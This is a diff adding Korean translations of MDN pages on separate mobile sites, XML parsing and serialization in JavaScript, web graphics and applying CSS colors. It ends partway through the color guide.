+<p><a class="external" href="http://m.facebook.com/">Facebook</a>과 <a class="external" href="http://m.youtube.com/">YouTube</a>, <a class="external" href="http://m.digg.com/" title="Mobile Digg">Digg</a>, <a class="external" href="http://m.flickr.com/" title="Mobile Flickr">Flickr</a>를 포함해 여러분이 세상에서 보는 주요 웹 애플리케이션 중 대다수가 이 경로를 택했습니다. 실은 모질라는 <a class="link-https" href="https://addons.mozilla.org/">addons.mozilla.org</a> (AMO)와 <a class="external" href="http://support.mozilla.com/">support.mozilla.org</a> (SUMO)의 모바일 버전에도 이 전략을 선택했지요. 만약 여러분이 실제로 적용된 이 접근 방식의 예제 배후에 있는 소스 코드를 보고 싶다면, 맘 편히 <a class="link-https" href="https://github.com/jbalogh/zamboni/">github repository for AMO</a> or <a class="link-https" href="https://github.com/jsocol/kitsune">SUMO</a>를 확인해 보세요.</p>
+
+<h2 id="모바일_웹_개발에_관한_접근_방식">모바일 웹 개발에 관한 접근 방식</h2>
+
+<p>모바일 플랫폼 개발에 관한 배경과 다른 접근 방식을 다룬 아래 글들을 참조해 보세요. </p>
+
+<ul>
+ <li><a href="/en/Web_development/Mobile/Mobile-friendliness" title="Wat is CSS">모바일 친화적(mobile-friendliness)이란 무엇인가?</a></li>
+ <li><a href="/en-US/docs/Web_Development/Mobile/Responsive_design" title="/en-US/docs/Web_Development/Mobile/Responsive_design">반응형 디자인</a></li>
+ <li><a href="/en-US/docs/Web_Development/Mobile/A_hybrid_approach" title="/en-US/docs/Web_Development/Mobile/A_hybrid_approach">하이브리드 방식</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="원문에_관한_정보">원문에 관한 정보</h3>
+
+<p>이 글은 본래 제이슨 그를리키(Jason Grlicky)가 작성한 "<a class="external" href="http://blog.mozilla.com/webdev/2011/05/13/approaches-to-mobile-web-development-part-2-separate-sites/" title="http://blog.mozilla.com/webdev/2011/05/13/approaches-to-mobile-web-development-part-2-separate-sites/">모바일 웹 개발로의 접근 방식 2부 – 개별 사이트</a>"로 모질라 웹데브(Mozilla Webdev) 블로그에  2011년 5월 13일자로 게재되었습니다.</p>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/guide/xml_파싱_및_직렬화/index.html b/files/ko/web/guide/xml_파싱_및_직렬화/index.html
new file mode 100644
index 0000000000..872dfffaa3
--- /dev/null
+++ b/files/ko/web/guide/xml_파싱_및_직렬화/index.html
@@ -0,0 +1,141 @@
+---
+title: XML 파싱 및 직렬화
+slug: Web/Guide/XML_파싱_및_직렬화
+tags:
+ - AJAX
+ - Add-ons
+ - DOM
+ - Extensions
+ - JSON
+ - JXON
+ - XML
+ - XMLHttpRequest
+ - 가이드
+translation_of: Web/Guide/Parsing_and_serializing_XML
+---
+<p>웹 상에서 XML을 파싱하고 직렬화할 때 사용할 수 있는 객체는 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>DOM 트리를 문자열로 직렬화</strong>하는<strong> </strong><a href="/en/XMLSerializer" title="en/XMLSerializer">XMLSerializer</a></li>
+ <li><strong>XML 문서 상의 각기 다른 부분들을 (비 XML 문법을 사용하여) 문자열로 직렬화</strong>하는 <a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li>XML을 파싱하여 <strong>문자열을 DOM 트리로 변환</strong>하는 <a href="/en/DOM/DOMParser" title="en/DOMParser">DOMParser</a></li>
+ <li><strong>URL을 사용하여 주소화 가능한(URL-addressable) 리소스를 DOM 트리로</strong> 파싱하는 <a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+</ul>
+
+<h2 id="Part_1_XML_문서_생성법">Part 1: XML 문서 생성법</h2>
+
+<p>XML 문서 생성법은 다음과 같습니다. (XML 문서는 <code>Document</code>의 인스턴스 입니다.)</p>
+
+<h3 id="문자열을_DOM_트리로_파싱">문자열을 DOM 트리로 파싱</h3>
+
+<div style="overflow: hidden;">
+<pre class="brush: js">var sMyString = '&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;';
+var oParser = new DOMParser();
+var oDOM = oParser.parseFromString(sMyString, "text/xml");
+// 루트 요소의 이름, 또는 에러 메시지를 출력합니다.
+dump(oDOM.documentElement.nodeName == "parsererror" ? "error while parsing" : oDOM.documentElement.nodeName);
+</pre>
+</div>
+
+<h3 id="자바스크립트_객체_트리를_시작점으로_하여_XML_문서를_생성(JXON)">자바스크립트 객체 트리를 시작점으로 하여 XML 문서를 생성(JXON)</h3>
+
+<p><a class="internal" href="/en/JXON#Reverse_Algorithms" title="en/JXON – Reverse Algorithms">JXON 역(reverse) 알고리즘</a>을 참고하세요.</p>
+
+<h3 id="URL_주소화_가능한(URL-addressable)_리소스를_DOM_트리로_파싱">URL 주소화 가능한(URL-addressable) 리소스를 DOM 트리로 파싱</h3>
+
+<h4 id="XMLHttpRequest를_사용합니다">XMLHttpRequest를 사용합니다</h4>
+
+<p>다음은 URL 주소화 가능한 XML 파일을 DOM 트리로 읽어들인 후 파싱하는 예시 코드입니다.</p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.onload = function() {
+ dump(xhr.responseXML.documentElement.nodeName);
+}
+xhr.onerror = function() {
+ dump("Error while getting XML.");
+}
+xhr.open("GET", "example.xml");
+xhr.responseType = "document";
+xhr.send();
+</pre>
+
+<p><code>xhr.responseXML는</code> {{domxref("Document")}}의 인스턴스입니다.</p>
+
+<h2 id="Part_2_특정_XML_문서의_콘텐츠를_직렬화하는_방법">Part 2: 특정 XML 문서의 콘텐츠를 직렬화하는 방법</h2>
+
+<p>Part 1에서 생성한 XML 문서의 콘텐츠를 직렬화할 수 있는 방법은 다음과 같습니다.</p>
+
+<h3 id="DOM_트리를_문자열로_직렬화">DOM 트리를 문자열로 직렬화</h3>
+
+<p>제일 먼저 <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">DOM 트리 생성법</a>에 나와 있는 대로 DOM 트리를 생성합니다. 다른 방법으로는 {{ domxref("XMLHttpRequest") }}에서 얻어낸 DOM 트리를 사용하는 방법이 있습니다.</p>
+
+<p>이제 <code>doc</code>(DOM 트리)를 문자열로 직렬화 해 봅시다.</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sXML = oSerializer.serializeToString(doc);</pre>
+
+<p><code>new XMLSerializer()</code> 생성자는 JS XPCOM 컴포넌트(혹은 <a class="internal" href="/en/JavaScript_code_modules" title="En/JavaScript modules">JS module</a>) 내에서는 사용이 불가능합니다. 대신, 다음과 같은 코드를 작성하세요.</p>
+
+<pre class="brush: js">var oSerializer = Components.classes["@mozilla.org/xmlextras/xmlserializer;1"]
+                            .createInstance(Components.interfaces.nsIDOMSerializer);
+var sXML = oSerializer.serializeToString(doc);
+</pre>
+
+<h4 id="DOM_트리를_문자열로_예쁘게(pretty)_직렬화">DOM 트리를 문자열로 "예쁘게(pretty)" 직렬화</h4>
+
+<p><code><a href="/en/XMLSerializer" title="XMLSerializer">XMLSerializer</a>와</code> <a href="/en/E4X" title="en/E4X">E4X</a>를 사용하면 DOM 트리를 <a class="external" href="http://en.wikipedia.org/wiki/Pretty-print">예쁘게 출력(pretty print</a>) 할 수 있습니다. 우선, <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">DOM 트리 생성법</a> 글을 참고하여 DOM 트리를 생성합니다. 혹은 {{ domxref("XMLHttpRequest") }}를 통해 DOM 트리를 뽑아내는 방법도 있습니다. 아래 코드에서 변수 <code>doc</code>는 DOM 트리를 가지고 있습니다.</p>
+
+<pre class="brush: js">var oSerializer = new XMLSerializer();
+var sPrettyXML = XML(oSerializer.serializeToString(doc)).toXMLString();</pre>
+
+<p>들여쓰기는 두 번 스페이스가 들어간 것과 같게 되어 있습니다. 좀 더 효율적인 코드를 작성하거나 들여쓰기 문자열을 임의로 설정하고 싶다면 {{ domxref("treeWalker") }}를 사용하십시오.</p>
+
+<div class="note"><strong>Note:</strong> E4X <code>toXMLString</code> 메소드를 쓴다면, <strong>CDATA 요소가 없어지거나</strong>, 요소 안에 담긴 텍스트만 남을 수 있습니다. 그러므로 만약 XML 내에 CDATA 요소가 들어 있다면, <span style="background-color: #f5f6f5;">위에 나온 메소드는 그다지 유용하지 않을 수도 있습니다.</span></div>
+
+<pre class="brush: xml">&lt;content&gt;&lt;![CDATA[This is the content]]&gt;&lt;/content&gt;
+</pre>
+
+<p>위의 코드는 다음과 같이 변환됩니다.</p>
+
+<pre class="brush: xml">&lt;content&gt;This is the content&lt;/content&gt;</pre>
+
+<h3 id="DOM_트리를_자바스크립트_객체_트리로_직렬화_(JXON)">DOM 트리를 자바스크립트 객체 트리로 직렬화 (JXON)</h3>
+
+<p><a href="/en/JXON" title="en/JXON">JXON</a> (lossless <strong>J</strong>avaScript <strong>X</strong>ML <strong>O</strong>bject <strong>N</strong>otation, 무손실 자바스크립트 XML 객체 표기법)은 XML을 사용하여 자바스크립트 객체를 표현하는 방법입니다. XML 문서의 일부분만 나오게 하고 싶다면, 문서 전체를 JSON으로 변환하지 말고 <a class="internal" href="/en/XPath" title="en/XPath">XPath</a>를 사용하세요! 이 외의 상황이라면 <a class="internal" href="/en/JXON" title="en/JXON">JSON에 관한 글</a>을 참조하세요.</p>
+
+<h3 id="DOM_트리를_파일로_직렬화">DOM 트리를 파일로 직렬화</h3>
+
+<p>먼저, <a href="/en/How_to_create_a_DOM_tree" title="en/How_to_create_a_DOM_tree">DOM 트리 생성법</a> 글에 나와 있는 대로 DOM 트리를 생성하세요. 만약 {{ domxref("XMLHttpRequest") }}를 사용하여 이미 DOM 트리가 존재한다면 이 절의 마지막 부분으로 건너 뛰십시오.</p>
+
+<p>이제 DOM 트리인 <code>doc</code>를 파일로 직렬화 해봅시다. 파일에 대해 더 알아보고 싶다면, <a href="/en/Code_snippets/File_I//O" title="en/Code_snippets/File_I//O">모질라에서 파일 사용과 관련하여</a>를 참조하세요.</p>
+
+<pre class="brush: js">var oFOStream = Components.classes["@mozilla.org/network/file-output-stream;1"].createInstance(Components.interfaces.nsIFileOutputStream);
+var oFile = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsILocalFile); // get profile folder
+oFile.append("extensions"); // extensions sub-directory
+oFile.append("{5872365E-67D1-4AFD-9480-FD293BEBD20D}"); // GUID of your extension
+oFile.append("myXMLFile.xml"); // filename
+oFOStream.init(oFile, 0x02 | 0x08 | 0x20, 0664, 0); // write, create, truncate
+(new XMLSerializer()).serializeToStream(doc, oFOStream, ""); // rememeber, doc is the DOM tree
+oFOStream.close();
+</pre>
+
+<h3 id="XMLHttpRequest_객체를_파일로_직렬화">XMLHttpRequest 객체를 파일로 직렬화</h3>
+
+<p>이미 {{ domxref("XMLHttpRequest") }}를 사용하여 DOM 트리를 보유한 상태라면, 위의 코드를 사용하되 <code>serializer.serializeToStream(doc, oFOStream, "")</code> <code>부분을</code> <code>serializer.serializeToStream(xmlHttpRequest.responseXML.documentElement, oFOStream, "")</code>로 대체하십시오. <code>xmlHttpRequest은</code> <code>XMLHttpRequest</code>의 인스턴스입니다.</p>
+
+<p>위 코드는 서버에서 XML을 찾아낸 후 문자열 스트림으로 재직렬화(re-serialize)한다는 것을 알아두세요. 필요에 따라 <code>xmlHttpRequest.responseText</code>를 곧장 건너뛸 수 있습니다.</p>
+
+<h3 id="HTML_문서를_직렬화">HTML 문서를 직렬화</h3>
+
+<p>만약 보유한 DOM이 HTML 문서라면 다음과 같이 간단하게 직렬화할 수 있습니다.</p>
+
+<pre class="brush: js">var serialized = document.documentElement.innerHTML;
+</pre>
+
+<h2 id="참고_자료">참고 자료</h2>
+
+<ul>
+ <li><a class="internal" href="/en/XPath" title="en/XPath">XPath</a></li>
+ <li><a href="/en/nsIXMLHttpRequest" title="en/XMLHttpRequest">XMLHttpRequest</a></li>
+ <li><a href="/en/JXON" title="en/JXON">JXO</a></li>
+</ul>
diff --git a/files/ko/web/guide/그래픽/index.html b/files/ko/web/guide/그래픽/index.html
new file mode 100644
index 0000000000..cb7cd6f873
--- /dev/null
+++ b/files/ko/web/guide/그래픽/index.html
@@ -0,0 +1,48 @@
+---
+title: 웹 상 그래픽
+slug: Web/Guide/그래픽
+tags:
+ - 2D
+ - 3D
+ - Canvas
+ - Graphics
+ - HTML5
+ - SVG
+ - WebGL
+ - WebRTC
+translation_of: Web/Guide/Graphics
+---
+<p><span class="seoSummary">웹 사이트 및 응용 프로그램은 종종 그래픽을 보일 필요가 있습니다.</span> 정지 이미지는 {{HTMLElement("img")}} 요소 사용이나 {{cssxref("background-image")}} 속성을 사용한 HTML 요소의 배경 설정으로 쉽게 표시할 수 있습니다. 또한 그래픽을 그때그때 생성하거나 사후에 이미지를 조작할 수도 있습니다. <span class="seoSummary">여기서는 이를 수행할 수 있는 법을 주의 깊게 살펴봅니다.</span></p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="2D_그래픽">2D 그래픽</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/HTML/Canvas">Canvas</a></dt>
+ <dd>{{HTMLElement("canvas")}} 요소는 JavaScript를 사용하여 2D 그래픽을 그리는 API를 제공합니다.</dd>
+ <dt><a href="/ko/docs/Web/SVG">SVG</a></dt>
+ <dd>Scalable Vector Graphics (SVG)는 그래픽을 묘사하기 위해 선, 곡선 및 그 밖의 기하학 도형을 사용할 수 있습니다. 벡터로, 어떤 크기로든 깔끔하게 크기 조정하는 이미지를 만들 수 있습니다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/ko/docs/tag/Graphics">모두 보기...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="3D_그래픽">3D 그래픽</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>웹을 위한 3D 그래픽인 WebGL 시작 안내서. 이 기술로 웹 콘텐츠에 표준 OpenGL ES를 사용할 수 있습니다.</dd>
+</dl>
+
+<h2 id="비디오">비디오</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Guide/HTML/Using_HTML5_audio_and_video">HTML5 audio 및 video 사용</a></dt>
+ <dd>웹 페이지 내 비디오 및/또는 오디오 삽입 및 그 재생 제어.</dd>
+ <dt><a href="/ko/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC에서 RTC는 실시간 통신(Real-Time Communications)을 뜻하며, 오디오/비디오 스트리밍 및 브라우저 클라이언트(peer) 간 데이터 공유를 가능하게 하는 기술입니다.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/html/applying_color/index.html b/files/ko/web/html/applying_color/index.html
new file mode 100644
index 0000000000..7fd7836e35
--- /dev/null
+++ b/files/ko/web/html/applying_color/index.html
@@ -0,0 +1,510 @@
+---
+title: CSS로 HTML 요소에 색 입히기
+slug: Web/HTML/Applying_color
+tags:
+ - Beginner
+ - CSS
+ - CSS Colors
+ - Guide
+ - HTML
+ - HTML Colors
+ - color
+ - 색
+translation_of: Web/HTML/Applying_color
+---
+<div>{{HTMLRef}}</div>
+
+<p>색은 인간의 감정을 표현하는 기본적인 형태입니다. 아이들은 뭔가 그릴 수 있는 민첩성을 갖추기도 전에 색을 가지고 놉니다. 사람들이 웹 사이트를 개발할 때 보통 색을 제일 먼저 입혀보고 싶어 하는 건 이런 이유일지도 모릅니다. <span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a>와 함께라면 무궁무진한 방법으로 여러분의 <a href="/ko/docs/Web/HTML">HTML</a> <a href="/ko/docs/Web/HTML/Element">요소</a>에 색을 넣어 원하는 모습을 만들 수 있습니다. 이 글은 CSS 색을 HTML에 적용하는 기초를 소개합니다.</span></p>
+
+<p>다행히도 HTML에 색을 추가하는 건 정말 쉽고 거의 모든 곳에 할 수 있는 일입니다.</p>
+
+<p>{{anch("색을 입힐 수 있는 것", "색을 입힐 수 있는 목록, 그때 사용할 CSS 속성")}}, {{anch("색을 나타내는 법", "색을 나타내는 법")}}, {{anch("색 사용하기", "실제로 색 사용하기")}} 등 색을 쓸 때 알아야 할 주제는 대부분 짚고 가겠습니다. {{anch("사용자의 색 선택", "사용자가 색을 선택")}}할 수 있는 방법도 확인해보겠습니다.</p>
+
+<p>마지막으로는 적절한 색을 고르고, 서로 다른 시각적 조건을 가진 사람들을 고려하는 등 {{anch("현명하게 색 고르기", "현명한 색 선택")}}에 대해 간단히 알아보겠습니다.</p>
+
+<h2 id="색을_입힐_수_있는_것">색을 입힐 수 있는 것</h2>
+
+<p>요소 차원에서 보자면 HTML의 모든 것에 색을 입힐 수 있습니다. 대신에 글씨와 테두리처럼, 요소 안에 그려지는 것의 종류에 따라 알아보겠습니다. 각각의 종류에 적용할 수 있는 CSS 속성의 목록도 보겠습니다.</p>
+
+<p>가장 기초적인 단계로는 {{cssxref("color")}} 속성이 HTML 요소의 콘텐츠 전경색을 지정하고, {{cssxref("background-color")}} 속성이 요소의 배경색을 지정합니다. 두 속성은 거의 모든 요소에 사용할 수 있습니다.</p>
+
+<h3 id="글씨">글씨</h3>
+
+<p>요소를 렌더링할 때 글씨, 글씨 배경과 기타 꾸미기 효과의 색은 아래에 나열한 속성이 결정합니다.</p>
+
+<dl>
+ <dt>{{cssxref("color")}}</dt>
+ <dd>글씨와 글씨 장식(밑줄, 윗줄, 취소선 등)을 그릴 때 사용할 색입니다.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>글씨의 배경색입니다.</dd>
+ <dt>{{cssxref("text-shadow")}}</dt>
+ <dd>글씨의 그림자 효과를 설정합니다. 여러 옵션 중에서 그림자 색을 정할 수 있습니다. (이후 다른 옵션에 따라 흐려지고 배경과 섞입니다)<span class="hidden">See {{SectionOnPage("/en-US/docs/Learn/CSS/Styling_text/Fundamentals", "Text drop shadows")}} to learn more.</span></dd>
+ <dt>{{cssxref("text-decoration-color")}}</dt>
+ <dd>기본 설정에서 글씨 장식(밑줄, 윗줄, 취소선 등)은 <code>color</code> 속성의 값을 색으로 사용합니다. 그러나 <code>text-decoration-color</code> 속성을 지정하면 다른 색으로 바꿀 수 있습니다.</dd>
+ <dt>{{cssxref("text-emphasis-color")}}</dt>
+ <dd>글씨 위에 표시할 강조 표시의 색입니다.</dd>
+ <dt>{{cssxref("caret-color")}}</dt>
+ <dd>요소의 {{Glossary("caret", "캐럿")}}(글씨 입력 커서) 색입니다. {{HTMLElement("input")}}이나 {{HTMLElement("textarea")}}, HTML {{htmlattrxref("contenteditable")}} 속성을 설정한 요소처럼 편집 가능한 경우에만 유용합니다.</dd>
+</dl>
+
+<h3 id="박스">박스</h3>
+
+<p>모든 요소는 모종의 콘텐츠를 가진 박스로, 콘텐츠 외에도 배경과 테두리를 가질 수 있습니다.</p>
+
+<dl>
+ <dt>{{anch("테두리")}}</dt>
+ <dd>{{anch("테두리")}} 항목에서 박스 테두리에 사용할 수 있는 CSS 속성의 목록을 확인하세요.</dd>
+ <dt>{{cssxref("background-color")}}</dt>
+ <dd>전경 콘텐츠가 없는 곳에 표시할 배경색입니다.</dd>
+ <dt>{{cssxref("column-rule-color")}}</dt>
+ <dd>긴 글씨를 여러 단으로 나눌 때 그릴 구분선의 색입니다.</dd>
+ <dt>{{cssxref("outline-color")}}</dt>
+ <dd>요소의 바깥에 외곽선을 그릴 때 사용할 색입니다. 외곽선은 문서에서 공간을 차지하지 않아서 다른 요소를 가릴 수 있다는 점에서 테두리와 다릅니다. 보통 현재 선택돼 입력 이벤트를 받을 수 있는 요소를 강조할 때 사용합니다.</dd>
+</dl>
+
+<h3 id="테두리">테두리</h3>
+
+<p>모든 요소는 주위에 테두리를 가질 수 있습니다. 기본적인 테두리는 요소 콘텐츠의 모서리를 따라 그리는 선입니다. <span class="hidden">See {{SectionOnPage("/en-US/docs/Learn/CSS/Introduction_to_CSS/Box_model", "Box properties")}} to learn about the relationship between elements and their borders, and the article <a href="/en-US/docs/Learn/CSS/Styling_boxes/Borders">Styling borders using CSS</a> to learn more about applying styles to borders.</span></p>
+
+<p>{{cssxref("border")}} 단축 속성을 사용하면 색은 물론 <a href="/ko/docs/Web/CSS/border-width">너비</a>와 <a href="/ko/docs/Web/CSS/border-style">스타일</a>(실선, 점선 등)같은 속성을 한 번에 설정할 수 있습니다.</p>
+
+<dl>
+ <dt>{{cssxref("border-color")}}</dt>
+ <dd>모든 면의 테두리가 사용할 단색입니다.</dd>
+ <dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, {{cssxref("border-bottom-color")}}</dt>
+ <dd>테두리 색을 방향에 따라 다르게 설정할 수 있습니다.</dd>
+ <dt>{{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}</dt>
+ <dd>With these, you can set the color used to draw the borders which are closest to the start and end of the block the border surrounds. In a left-to-right writing mode (such as the way English is written), the block start border is the top edge and the block end is the bottom. This differs from the inline start and end, which are the left and right edges (corresponding to where each line of text in the box begins and ends).</dd>
+ <dt>{{cssxref("border-inline-start-color")}}, {{cssxref("border-inline-end-color")}}</dt>
+ <dd>These let you color the edges of the border closest to to the beginning and the end of the start of lines of text within the box. Which side this is will vary depending on the {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}} properties, which are typically (but not always) used to adjust text directionality based on the language being displayed. For example, if the box's text is being rendered right-to-left, then the <code>border-inline-start-color</code> is applied to the right side of the border.</dd>
+</dl>
+
+<h3 id="다른_방법">다른 방법</h3>
+
+<p>웹 기술에서 CSS만 색을 지원하는건 아닙니다. 웹에서 사용할 수 있는 다른 그래픽 기술에서도 색을 지원합니다.</p>
+
+<dl>
+ <dt>HTML <a href="/ko/docs/Web/API/Canvas_API">Canvas API</a></dt>
+ <dd>{{HTMLElement("canvas")}} 요소로 2D 비트맵 그래픽을 그릴 수 있습니다. <a href="/ko/docs/Web/API/Canvas_API/Tutorial">캔버스 자습서</a>를 방문해 더 알아보세요.</dd>
+ <dt><a href="/ko/docs/Web/SVG">SVG</a> (Scalable Vector Graphics)</dt>
+ <dd>선, 패턴, 특정 모양의 형태를 그리는 명령어를 사용해 이미지를 그릴 수 있습니다. SVG 명령어는 XML 형식을 따르며, 웹 페이지에 바로 삽입할 수도 있고, 다른 이미지처럼 {{HTMLElement("img")}} 요소에 넣을 수도 있습니다.</dd>
+ <dt><a href="/ko/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>Web Graphics Library는 OpenGL ES 기반의 API로, 웹에서 고성능 2D 및 3D 그래픽을 그릴 수 있습니다. <a href="/ko/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">WebGL 자습서</a>를 방문해 더 알아보세요.</dd>
+</dl>
+
+<h2 id="색을_나타내는_법">색을 나타내는 법</h2>
+
+<p>CSS에서 색을 나타내려면 우선 "색"이라는 개념을, 원색이나 밝기 등 구성 요소를 분리해 수치로 표기하는 등 컴퓨터가 이해할 수 있는 디지털 형태로 변환해야 합니다. 변환 방법이 여러 가지이듯 CSS가 색을 표현하는 방법도 여러 가지입니다.</p>
+
+<p>각각의 형태에 대한 더 자세한 내용은 CSS {{cssxref("&lt;color&gt;")}} 단위 문서를 참고하세요.</p>
+
+<h3 id="키워드">키워드</h3>
+
+<p>CSS 표준은 다수의 색 키워드를 사전에 정의하고 있으므로, 원하는 색을 가리키는 키워드가 있다면 숫자형 표현 대신 사용할 수 있습니다. 색 키워드는 원색과 2차색(<code>red</code>, <code>blue</code>, <code>orange</code> 등), 단계별 무채색(<code>black</code>에서 <code>white</code>까지, <code>darkgray</code>와 <code>lightgrey</code> 등) 외에도 <code>lightseagreen</code>, <code>cornflowerblue</code>, <code>rebeccapurple</code>처럼 다양한 종류의 혼합색을 포함하고 있습니다.</p>
+
+<p>사용할 수 있는 모든 색 키워드의 목록은 <a href="/ko/docs/Web/CSS/color_value#%EC%83%89%EC%83%81_%ED%82%A4%EC%9B%8C%EB%93%9C"><code>&lt;color&gt;</code>의 색상 키워드 항목</a>을 참고하세요.</p>
+
+<h3 id="RGB_값">RGB 값</h3>
+
+<p>RGB 색은 세 가지 방법으로 표현할 수 있습니다.</p>
+
+<h4 id="16진수_문자열_표기법">16진수 문자열 표기법</h4>
+
+<p>16진수 문자열 표기법은 색의 구성요소(빨강, 초록, 파랑)를 16진수 숫자로 표현합니다. 네 번째 구성 요소로 알파 채널(불투명도)을 포함할 수도 있습니다. 하나의 구성 요소는 0에서 255 사이(0x00에서 0xFF)를 숫자 두 개로, 또는 0에서 15 사이(0x0에서 0xF)를 숫자 한 개로 표기합니다. 단, 모든 구성 요소는 같은 수의 문자로 표기해야 합니다. 한 자릿수(0~F)로 표기한다면, 구성 요소의 최종 값은 자신의 문자를 두 번씩 사용해 계산합니다. 즉, <code>"#D"</code>의 값은 <code>"#DD"</code>입니다.</p>
+
+<p>16진수 문자열 표기법은 항상 <code>"#"</code>으로 시작해야 하고, 16진수 숫자는 그 후에 위치합니다. 문자열은 대소문자를 구분하지 않습니다.</p>
+
+<dl>
+ <dt><code>"#rrggbb"</code></dt>
+ <dd>완전히 불투명한 색을 지정합니다. 구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>입니다.</dd>
+ <dt><code>"#rrggbbaa"</code></dt>
+ <dd>구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>인 색을 지정합니다. 알파 채널의 값은 <code>0xaa</code>로, 값이 낮을 수록 색은 더 투명해집니다.</dd>
+ <dt><code>"#rgb"</code></dt>
+ <dd>완전히 불투명한 색을 지정합니다. 구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>입니다.</dd>
+ <dt><code>"#rgba"</code></dt>
+ <dd>구성 요소 중 빨강은 16진수 <code>0xrr</code>, 초록은 <code>0xgg</code>, 파랑은 <code>0xbb</code>인 색을 지정합니다. 알파 채널의 값은 <code>0xaa</code>로, 값이 낮을 수록 색은 더 투명해집니다.</dd>
+</dl>
+
+<p>예를 하나 들자면 불투명한 파랑은 <code>"#0000ff"</code>이나 <code>"#00f"</code>로 표현할 수 있습니다. 25%만 불투명한 파랑으로 만들 땐 <code>"#0000ff44"</code> 또는 <code>"#00f4"</code>로 표기합니다.</p>
+
+<h4 id="RGB_함수형_표기법">RGB 함수형 표기법</h4>
+
+<p>16진수 문자열 표기법과 같이, RGB(Red/Green/Blue) 함수 표기법은 빨강, 초록, 파랑, 그리고 불투명도를 나타낼 선택적 알파 채널 구성요소를 사용해 색을 나타냅니다. 그러나 문자열 표기법과 달리 CSS 함수 {{cssxref("color_value", "rgb()", "#rgb()")}}를 사용합니다. <code>rgb()</code> 함수의 세 매개변수는 순서대로 빨강, 파랑, 초록 값이며, 생략 가능한 마지막 네 번째 매개변수가 알파 채널을 나타냅니다.</p>
+
+<p>각 매개변수의 유효한 값은 다음과 같습니다.</p>
+
+<dl>
+ <dt><code>red</code>, <code>green</code>, <code>blue</code></dt>
+ <dd>각각 0 이상, 255 이하인 {{cssxref("&lt;integer&gt;")}}이거나, 또는 0% 이상 100% 이하인 {{cssxref("&lt;percentage&gt;")}}여야 합니다.</dd>
+ <dt><code>alpha</code></dt>
+ <dd>0.0(완전히 투명) 이상, 1.0(완전히 불투명) 이하의 숫자여야 합니다. 백분율도 사용할 수 있으며, 0%는 0.0, 100%는 1.0에 대응합니다.</dd>
+</dl>
+
+<p>예를 들어, 50% 불투명도의 밝은 빨강은 <code>rgb(255, 0, 0, 0.5)</code>와 <code>rgb(100%, 0, 0, 50%)</code> 두 방법으로 만들 수 있습니다.</p>
+
+<h3 id="HSL_함수형_표기법">HSL 함수형 표기법</h3>
+
+<p>많은 경우, 디자이너와 아티스트는 HSL(색조/채도/명도) 모델을 사용한 색을 선호합니다. 웹에서 HSL 색상은 HSL 함수 표기법을 사용해 나타냅니다. CSS <code>hsl()</code> 함수의 사용법 자체는 <code>rgb()</code> 함수와 매우 유사합니다.</p>
+
+<div style="padding-bottom: 20px;">
+<figure style="width: 500px;"><img alt="HSL color cylinder" src="https://mdn.mozillademos.org/files/15445/1200px-HSL_color_solid_cylinder_alpha_lowgamma.png" style="height: 375px; width: 500px;">
+<figcaption><strong>그림 1. HSL 색 원기둥.</strong> Hue defines the actual color based on the position along a circular color wheel representing the colors of the visible spectrum. Saturation is a percentage of how much of the way between being a shade of gray and having the maximum possible amount of the given hue. As the value of luminance (or lightness) increases, the color transitions from the darkest possible to the brightest possible (from black to white). <a href="https://www.wikipedia.org/">Wikipedia</a>의 <a href="http://commons.wikimedia.org/wiki/User:SharkD">SharkD</a>, <a href="http://creativecommons.org/licenses/by-sa/3.0">CC BY-SA 3.0</a> 라이선스 아래에서 재배포.</figcaption>
+</figure>
+</div>
+
+<p>The value of the hue (H) component of an HSL color is an angle from red around through yellow, green, cyan, blue, and magenta (ending up back at red again at 360°) that identifies what the base color is. The value can be specified in any {{cssxref("&lt;angle&gt;")}} unit supported by CSS, including degrees (<code>deg</code>), radians (<code>rad</code>), gradians (<code>grad</code>), or turns (<code>turn</code>). But this doesn't control how vivid or dull, or how bright or dark the color is.</p>
+
+<p>The saturation (S) component of the color specifies what percentage of the final color is comprised of the specified hue. The rest is defined by the grey level provided by the luminance (L) component.</p>
+
+<p>Think of it like creating the perfect paint color:</p>
+
+<ol>
+ <li>You start with base paint that's the maximum intensity possible for a given color, such as the most intense blue that can be represented by the user's screen. This is the <strong>hue</strong> (H) component: a value representing the angle around the color wheel for the vivid hue we want to use as our base.</li>
